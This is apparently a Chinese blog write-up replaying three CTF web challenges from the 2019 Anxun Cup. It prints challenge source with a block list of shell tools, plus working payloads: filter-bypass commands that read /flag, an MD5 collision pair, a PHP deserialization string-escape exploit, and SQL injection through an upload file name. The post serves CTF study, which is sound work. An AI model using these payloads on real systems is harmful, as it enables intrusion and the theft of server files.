美文网首页
安洵杯2019-web部分题目复现

安洵杯2019-web部分题目复现

作者: byc_404 | 来源:发表于2020-02-10 16:24 被阅读0次

    发现buuoj上安洵2019的题目有现成的,不用在vps上搭了(第一题除外,搭好才发现......),刚好做做。

    easy_web

    进去后url有两个明显参数,第一个类似于base64编码,第二个由参数名知道可能是rce参数

    ?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
    

    先解码前面一个参数的值,发现base64解了两次后得到一串数字,看起来像十六进制字符。尝试16进制解码后得到555.pnf0证实了加密方式。
    加上图片的回显有base64的内容,可知img参数用于文件包含,那么包含下index.php吧

    import base64
    import binascii
    
    
    str='index.php'
    filename = str.encode(encoding='utf-8')
    hex = binascii.b2a_hex(filename)
    print(hex)
    base1 = base64.b64encode(hex)
    base2 = base64.b64encode(base1)
    print(base2.decode('utf-8'))
    

    得到源码

    <?php
    error_reporting(E_ALL || ~ E_NOTICE);
    header('content-type:text/html;charset=utf-8');
    $cmd = $_GET['cmd'];
    if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
        header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    
    $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    if (preg_match("/flag/i", $file)) {
        echo '<img src ="./ctf3.jpeg">';
        die("xixi~ no flag");
    } else {
        $txt = base64_encode(file_get_contents($file));
        echo "<img src='data:image/gif;base64," . $txt . "'></img>";
        echo "<br>";
    }
    echo $cmd;
    echo "<br>";
    if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("forbid ~");
        echo "<br>";
    } else {
        if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
            echo `$cmd`;
        } else {
            echo ("md5 is funny ~");
        }
    }
    
    ?>
    <html>
    <style>
      body{
       background:url(./bj.png)  no-repeat center center;
       background-size:cover;
       background-attachment:fixed;
       background-color:#CCCCCC;
    }
    </style>
    <body>
    </body>
    </html>
    

    第一个参数已经利用完了,而第二个参数用于rce,但明显过滤了许多读取文件的命令。
    同时可知要执行命令必须绕过一层MD5对比。基于使用了php强相等符号,可知一定要找到一对MD5相同的不同字符串。可以用某种MD5碰撞生成器得到。我直接用官方wp里的吧

    a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
    &b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
    

    之后就是执行命令了。直接利用匹配正则里面\的疏忽,用它使我们的关键字构建出来

    ca\t%20/flag                    cat /flag
    

    或者使用没被过滤的读取文件的命令

    sort /flag
    
    flag

    easy_serialize_php

    题目对我有点难,但是打开了反序列化新世界的大门
    一道反序列化利用题,上来直接给了源码

    <?php
    
    $function = @$_GET['f'];
    
    function filter($img){
        $filter_arr = array('php','flag','php5','php4','fl1g');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'',$img);
    }
    
    
    if($_SESSION){
        unset($_SESSION);
    }
    
    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
    
    extract($_POST);
    
    if(!$function){
        echo '<a href="index.php?f=highlight_file">source_code</a>';
    }
    
    if(!$_GET['img_path']){
        $_SESSION['img'] = base64_encode('guest_img.png');
    }else{
        $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    }
    
    $serialize_info = filter(serialize($_SESSION));
    
    if($function == 'highlight_file'){
        highlight_file('index.php');
    }else if($function == 'phpinfo'){
        eval('phpinfo();'); //maybe you can find something in here!
    }else if($function == 'show_image'){
        $userinfo = unserialize($serialize_info);
        echo file_get_contents(base64_decode($userinfo['img']));
    }
    

    思路上首先看看可控的参数,有get传值的f,img_path。但是注意到img_path搭配上fshow_image时,返回的内容并不可用,因为

    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    

    中,我们传的值经过sha1加密后并没有解密,故不可用。
    此时关注其他重点,有一句

    extract($_POST);
    

    是一个变量覆盖的利用。所以我们的变量值都可以通过post操作改变,这样可控的参数多了起来。
    同时注意到序列化语句,会在调用show_image时被触发

    $serialize_info = filter(serialize($_SESSION));
    

    漏洞点正在于此,在序列化数据之后,它经过了一层过滤才给变量赋值。而从最上方的过滤函数可知,出现被过滤的关键字直接替换为空。那么这是否会有漏洞可以用呢?答案是肯定的。出题人如是说:

    任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。

    其意义在于,给user所赋的值刚好24个,而这24个字符由于过滤flag的原因,在经过序列化后被置为空。这时就可以吞掉一个function,做到任意读取文件。

    首先从提示phpinfo处找到一个不可直接读的php文件,我们先尝试利用漏洞读取它看看。(由于关键字里过滤了f1ag,所以在phpinfo界面搜f1ag关键字,果断发现d0g3_f1ag.php)
    下面我来构造下序列化的类,从源码知道SESSION类有三个属性:

    <?php
    class SESSION
    {
        var $user="flagflagflagflagflagflag";
        var $function='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:1:"a";}';# 其中为d0g3_f1ag.php base64编码
        var $img="MS5qcGc=";# 值为1.jpg的base64编码
    }
    $a=new SESSION();
    echo(serialize($a));
    

    生成的payload如下:

    O:7:"SESSION":3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:61:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:1:"a";}";s:3:"img";s:8:"MS5qcGc=";}
    

    而经过过滤后

    O:7:"SESSION":3:{s:4:"user";s:24:"";s:8:"function";s:61:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:1:"a";}";s:3:"img";s:8:"MS5qcGc=";}
    

    此时user属性对应的值被置空,那么它就要去把后面的24个字符置为它的值。也就是

    ";s:8:"function";s:59:"a"
    

    相当于吞掉了function属性,但是我们构造的$function中,包含了img属性的值,以及构造的一个test属性的值,使得我们的序列化数据仍然是满足一个类对应三个键值。这时它对序列化数据的匹配就是由{开始,到}结束。所以后面多余的字符";s:3:"img";s:8:"MS5qcGc=";}全部被忽略。
    这样,我们通过控制function属性的值,达到了控制img属性值的效果,从而触发反序列化,读取文件。
    最终payload如下:

    _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:4:"test";s:1:"a";}&function=show_image
    

    (function也可以直接get传)


    flag

    另外题目构造的其实是SESSION数组进行序列化,但是序列化格式一样,都可行。

    <?php
    $b=array("user"=>"flagflagflagflagflagflag",
        "function"=>'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:1:"a";}',
        "img"=>"MS5qcGc=");
    echo(serialize($b));
    

    不是文件上传

    也是一道反序列化题目,意图在于反序列化结合sql注入。在源码审计上下了不少功夫。如果我在比赛中做多半会卡在sql注入上吧。

    首先进入页面,可以发现网站底部留下了wowouploadimage,可以拿到一份源码。主要内容如下:
    upload.php

    <?php
    include("./helper.php");
    class upload extends helper {
        public function upload_base(){
            $this->upload();
        }
    }
    
    if ($_FILES){
        if ($_FILES["file"]["error"]){
            die("Upload file failed.");
        }else{
            $file = new upload();
            $file->upload_base();
        }
    }
    
    $a = new helper();
    ?>
    

    show.php

    <?php
    include("./helper.php");
    $show = new show();
    if($_GET["delete_all"]){
        if($_GET["delete_all"] == "true"){
            $show->Delete_All_Images();
        }
    }
    $show->Get_All_Images();
    
    class show{
        public $con;
    
        public function __construct(){
            $this->con = mysqli_connect("127.0.0.1","root","root","pic_base");
            if (mysqli_connect_errno($this->con)){ 
                die("Connect MySQL Fail:".mysqli_connect_error());
            }
        }
    
        public function Get_All_Images(){
            $sql = "SELECT * FROM images";
            $result = mysqli_query($this->con, $sql);
            if ($result->num_rows > 0){
                while($row = $result->fetch_assoc()){
                    if($row["attr"]){
                        $attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
                        $attr = unserialize($attr_temp);
                    }
                    echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
                }
            }else{
                echo "<p>You have not uploaded an image yet.</p>";
            }
            mysqli_close($this->con);
        }
    
        public function Delete_All_Images(){
            $sql = "DELETE FROM images";
            $result = mysqli_query($this->con, $sql);
        }
    }
    ?>
    

    helper.php

    <?php
    class helper {
        protected $folder = "pic/";
        protected $ifview = False; 
        protected $config = "config.txt";
        // The function is not yet perfect, it is not open yet.
    
        public function upload($input="file")
        {
            $fileinfo = $this->getfile($input);
            $array = array();
            $array["title"] = $fileinfo['title'];
            $array["filename"] = $fileinfo['filename'];
            $array["ext"] = $fileinfo['ext'];
            $array["path"] = $fileinfo['path'];
            $img_ext = getimagesize($_FILES[$input]["tmp_name"]);
            $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
            $array["attr"] = serialize($my_ext);
            $id = $this->save($array);
            if ($id == 0){
                die("Something wrong!");
            }
            echo "<br>";
            echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
        }
    
        public function getfile($input)
        {
            if(isset($input)){
                $rs = $this->check($_FILES[$input]);
            }
            return $rs;
        }
    
        public function check($info)
        {
            $basename = substr(md5(time().uniqid()),9,16);
            $filename = $info["name"];
            $ext = substr(strrchr($filename, '.'), 1);
            $cate_exts = array("jpg","gif","png","jpeg");
            if(!in_array($ext,$cate_exts)){
                die("<p>Please upload the correct image file!!!</p>");
            }
            $title = str_replace(".".$ext,'',$filename);
            return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
        }
    
        public function save($data)
        {
            if(!$data || !is_array($data)){
                die("Something wrong!");
            }
            $id = $this->insert_array($data);
            return $id;
        }
    
        public function insert_array($data)
        {   
            $con = mysqli_connect("127.0.0.1","root","root","pic_base");
            if (mysqli_connect_errno($con)) 
            { 
                die("Connect MySQL Fail:".mysqli_connect_error());
            }
            $sql_fields = array();
            $sql_val = array();
            foreach($data as $key=>$value){
                $key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
                $value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
                $sql_fields[] = "`".$key_temp."`";
                $sql_val[] = "'".$value_temp."'";
            }
            $sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
            mysqli_query($con, $sql);
            $id = mysqli_insert_id($con);
            mysqli_close($con);
            return $id;
        }
    
        public function view_files($path){
            if ($this->ifview == False){
                return False;
                //The function is not yet perfect, it is not open yet.
            }
            $content = file_get_contents($path);
            echo $content;
        }
    
        function __destruct(){
            # Read some config html
            $this->view_files($this->config);
        }
    }
    ?>
    

    先从比较直观的地方开始审计。我个人首先从helper.php开始观察。因为这很有可能存在是一个反序列化利用的代码。果然首先注意到,helper类中,有着经典的_destruct()魔术方法,它调用的view_file()方法,会执行file_get_contents()函数。显然是利用它。回过头再仔细看下触发方式。
    首先,在helper.php中,发现图片的attr属性被序列化存储。

    $array["attr"] = serialize($my_ext);
    

    之后在show.php中,调用了一次反序列化

    if($row["attr"]){
    $attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
    $attr = unserialize($attr_temp);
    }
    

    然后注意我们的upload图片操作,传图片后,调用了check()函数,但是并没有对文件名做检测就被保存为info,之后作为参数传进了save()函数。save()本质上执行了一次sql语句:

    $sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
    

    也就是说,我们其实是通过控制上传图片的文件名,触发sql注入,进一步触发反序列化,达到目的。
    所以现生成反序列化payoad:

    <?php
    class helper
    {
        protected $ifview = True;
        protected $config = "/flag";
    }
    $a=new helper();
    echo(serialize($a));
    

    得到结果需要调整为

    O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
    

    这是由于protected的属性决定的。如果是private则是两个%00%00
    然后构造文件名,我们只需让文件的序列化部分改为我们的payload。基于普通上传执行语句为:

    INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('1','1.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')
    

    我们把文件名改改

    INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg')
    

    其中的由于引号问题,我们的payload需要字符串转16进制。
    上传文件即可触发得到flag.


    flag

    相关文章

      网友评论

          本文标题:安洵杯2019-web部分题目复现

          本文链接:https://www.haomeiwen.com/subject/xtxaxhtx.html